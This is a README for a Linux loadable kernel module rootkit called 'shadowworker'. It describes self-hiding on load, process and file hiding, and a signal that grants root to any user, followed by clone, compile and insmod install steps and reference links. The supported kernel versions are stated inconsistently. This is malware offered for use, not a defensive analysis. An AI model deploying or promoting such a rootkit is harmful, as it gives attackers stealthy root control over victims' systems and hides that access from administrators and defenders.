shadowworker

shadowworker is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 and ARM64)

Features

• When loaded, the module starts invisible;

• Hide/unhide any process by sending a signal 31;

• Sending a signal 63(to any pid) makes the module become (in)visible;

• Sending a signal 64(to any pid) makes the given user become root;

• Files or directories starting with the MAGIC_PREFIX become invisible;

Install

Verify if the kernel is 2.6.x/3.x/4.x/5.x

uname -r

Clone the repository

git clone https://github.com/vidax341/shadowworker

Enter the folder

cd shadowworker

Compile

make

Load the module(as root)

insmod shadowworker.ko

Uninstall

The module starts invisible, to remove you need to make it visible

kill -63 0

Then remove the module(as root)

rmmod shadowworker

References

Wikipedia Rootkit https://en.wikipedia.org/wiki/Rootkit

Linux Device Drivers http://lwn.net/Kernel/LDD3/

LKM HACKING https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html

Memset's blog http://memset.wordpress.com/

Linux on-the-fly kernel patching without LKM http://phrack.org/issues/58/7.html

WRITING A SIMPLE ROOTKIT FOR LINUX https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt

Linux Cross Reference http://lxr.free-electrons.com/

zizzu0 LinuxKernelModules https://github.com/zizzu0/LinuxKernelModules/

Linux Rootkits: New Methods for Kernel 5.7+ https://xcellerator.github.io/posts/linux_rootkits_11/